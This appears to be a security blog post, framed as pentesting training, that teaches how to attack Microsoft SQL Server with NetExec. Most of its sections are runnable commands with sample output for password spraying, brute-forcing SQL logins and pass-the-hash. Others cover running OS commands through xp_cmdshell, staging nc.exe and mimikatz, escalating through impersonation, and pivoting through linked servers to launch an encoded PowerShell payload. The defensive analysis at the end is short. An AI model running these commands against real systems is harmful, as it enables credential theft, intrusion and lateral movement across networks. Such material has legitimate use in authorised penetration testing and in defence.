Listen to this Post
Introduction
Microsoft SQL Server is a prime target on any Windows network—it holds sensitive data, often runs with high-privileged service accounts, and frequently trusts other database servers. NetExec (nxc), the powerful successor to CrackMapExec, automates MSSQL attacks including password spraying, command execution, file transfer, and lateral movement, transforming a default database instance into a foothold for full domain compromise.
Learning Objectives
- Master credential-based attacks against MSSQL, including password spraying, local SQL login brute-forcing, and Pass-the-Hash techniques.
- Execute operating-system commands, upload/download files, and escalate privileges via impersonation and linked servers.
- Apply NetExec commands for lateral movement, pivoting through trusted database links, and capturing reverse shells with Metasploit.
You Should Know
1. Password Spraying and Brute-Forcing Windows Authentication
NetExec accepts wordlists for usernames and passwords, testing every combination against the target MSSQL instance. The `–continue-on-success` flag keeps the spray running after the first hit, surfacing all valid credentials instead of stopping early.
Step‑by‑step guide:
- Prepare two text files: `users.txt` (e.g.,
administrator,lowpriv,sqladmin) and `pass.txt` (e.g.,Password@2,Ignite@987,Welcome1).
2. Run the spray command:
nxc mssql 192.168.1.13 -u users.txt -p pass.txt --continue-on-success
3. Review output for `(Pwn3d!)` markers indicating full control. Example result:
MSSQL 192.168.1.13:1433 administrator:Ignite@987 (Pwn3d!) MSSQL 192.168.1.13:1433 lowpriv:Password@2
2. Brute-Forcing Local SQL Logins with `–local-auth`
When targeting built‑in SQL accounts (e.g., sa) not backed by Active Directory, add the `–local-auth` flag. This tests credentials against the server’s local SQL login store rather than domain principals.
Step‑by‑step guide:
- Create a list of local SQL usernames (e.g.,
sa,testuser,ignite).
2. Execute:
nxc mssql 192.168.1.13 -u users_local.txt -p pass.txt --continue-on-success --local-auth
3. Valid credentials appear with `(Pwn3d!)` for privileged accounts like sa:
MSSQL 192.168.1.13:1433 sa:Password@123 (Pwn3d!) MSSQL 192.168.1.13:1433 ignite:Password@2
3. Pass‑the‑Hash (PtH) Authentication Against MSSQL
NetExec allows replaying NTLM hashes directly, bypassing the need for plaintext passwords. This is especially useful when hashes are extracted from memory (e.g., with mimikatz) or from a compromised host.
Step‑by‑step guide:
- Obtain an NTLM hash (e.g., `aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0` for a blank password, or a full hash from a hashdump).
- Authenticate with the hash using the `-H` flag:
nxc mssql 192.168.1.13 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
- If the hash is valid, NetExec returns a success message and the `(Pwn3d!)` indicator.
4. Command Execution via `xp_cmdshell`
`xp_cmdshell` is a stored procedure that spawns a Windows command shell. By default it’s disabled, but with sufficient privileges (like `sa` or sysadmin) NetExec can enable it and run OS commands remotely.
Step‑by‑step guide (enabling and executing):
- Use NetExec’s `-x` flag to execute a command. It automatically enables `xp_cmdshell` if needed:
nxc mssql 192.168.1.13 -u administrator -p 'Ignite@987' -x 'whoami'
2. Expected output:
MSSQL> whoami nt service\mssql$sqlexpress
3. For multi‑step commands, use `-X` (uppercase) to execute via `xp_cmdshell` without interaction.
5. File Upload and Download from the Target
NetExec can transfer files to and from the SQL Server using the `–put-file` and `–get-file` options. This is critical for staging tools (e.g., nc.exe, mimikatz) or exfiltrating data.
Step‑by‑step guide:
1. Upload a file:
nxc mssql 192.168.1.13 -u administrator -p 'Ignite@987' --put-file /tmp/nc.exe C:\Windows\Temp\nc.exe
2. Download a file:
nxc mssql 192.168.1.13 -u administrator -p 'Ignite@987' --get-file C:\Windows\win.ini /tmp/win.ini
3. Verify the transfer by checking the local file size or using ls -la /tmp/win.ini.
6. Privilege Escalation via Impersonation (`mssql_priv`)
The `mssql_priv` module enumerates users that the current login can impersonate (via EXECUTE AS). If a low‑privileged user has impersonation rights on a sysadmin account, NetExec can escalate to full control.
Step‑by‑step guide:
1. Authenticate with a low‑privilege user:
nxc mssql 192.168.1.13 -u lowpriv -p 'Password@2' -M mssql_priv
2. The module returns impersonatable logins. Example output:
MSSQL 192.168.1.13:1433 [] User 'lowpriv' can impersonate 'sa'
3. Escalate using the `–impersonate` flag:
nxc mssql 192.168.1.13 -u lowpriv -p 'Password@2' --impersonate sa -x 'whoami'
Output shows `nt service\mssql$sqlexpress` – now running as the service account.
7. Lateral Movement and Pivoting Through Linked Servers
MSSQL linked servers are database trusts that allow queries to remote instances. If the current SQL Server has a link to another host (e.g., WIN-SQL), NetExec can execute commands across that link, enabling lateral movement without new credentials.
Step‑by‑step guide:
1. Enumerate linked servers:
nxc mssql 192.168.1.13 -u administrator -p 'Ignite@987' -M mssql_enum
2. Identify a link (e.g., WIN-SQL). Then execute a command through the link:
nxc mssql 192.168.1.13 -u administrator -p 'Ignite@987' --linked-server WIN-SQL -x 'whoami'
3. To enable `xp_cmdshell` on the linked server and run a payload:
nxc mssql 192.168.1.13 -u administrator -p 'Ignite@987' --linked-server WIN-SQL --enable-xp-cmdshell -x 'powershell -enc <base64_payload>'
What Undercode Say
- Key Takeaway 1: NetExec condenses complex, multi‑step MSSQL attacks into single commands. Its `–continue-on-success` and `–local-auth` flags make credential discovery thorough, while Pass‑the‑Hash support eliminates plaintext dependencies.
- Key Takeaway 2: The real power lies in post‑exploitation – file transfer, impersonation escalation, and linked‑server pivoting turn a single database compromise into domain‑wide movement. Without monitoring `xp_cmdshell` usage and linked‑server trusts, defenders remain blind.
Analysis (10 lines):
Microsoft SQL Server is often misconfigured with weak passwords, enabled xp_cmdshell, or excessive impersonation rights. NetExec exploits these gaps faster than manual tools, allowing red teams to simulate realistic threat actor behavior. The tool’s ability to switch between Windows authentication, local SQL logins, and NTLM hashes makes it resilient against password complexity requirements. Linked servers, a feature designed for data aggregation, become an attacker’s highway to adjacent hosts. Defenders must treat every SQL instance as a potential beachhead: enforce least privilege for service accounts, disable `xp_cmdshell` unless absolutely necessary, audit linked server trusts, and implement command‑line logging (e.g., via PowerShell ScriptBlock logging). Moreover, network segmentation should prevent SQL servers from reaching internal file shares or domain controllers. Regular penetration testing with NetExec itself can validate these controls. The tool’s open‑source nature means blue teams can also use it to hunt for misconfigurations proactively.
Prediction
- -1: As MSSQL instances increasingly run in hybrid cloud environments (Azure SQL Managed Instances, on‑prem with hybrid joins), attackers will adapt NetExec‑like techniques to target cloud‑native authentication flows, including Azure AD integrated auth and managed identities. Expect a rise in “pass‑the‑PRT” attacks against SQL databases.
- +1: Defensive tools are catching up: Microsoft Defender for SQL now detects anomalous `xp_cmdshell` invocations and brute‑force patterns. SIEM rules that parse NetExec’s default user‑agent strings and NTLM authentication bursts will improve detection rates.
- -1: Linked servers are often overlooked in compliance audits. Attackers will increasingly pivot through OLTP databases to reach data warehouses or reporting servers, causing data breaches that evade traditional endpoint detection.
- +1: The community’s adoption of NetExec as a successor to CrackMapExec ensures frequent updates, including support for Kerberos and improved evasion. This forces blue teams to stay agile, ultimately raising the security baseline across Windows networks.
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Mssql Pentesting – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
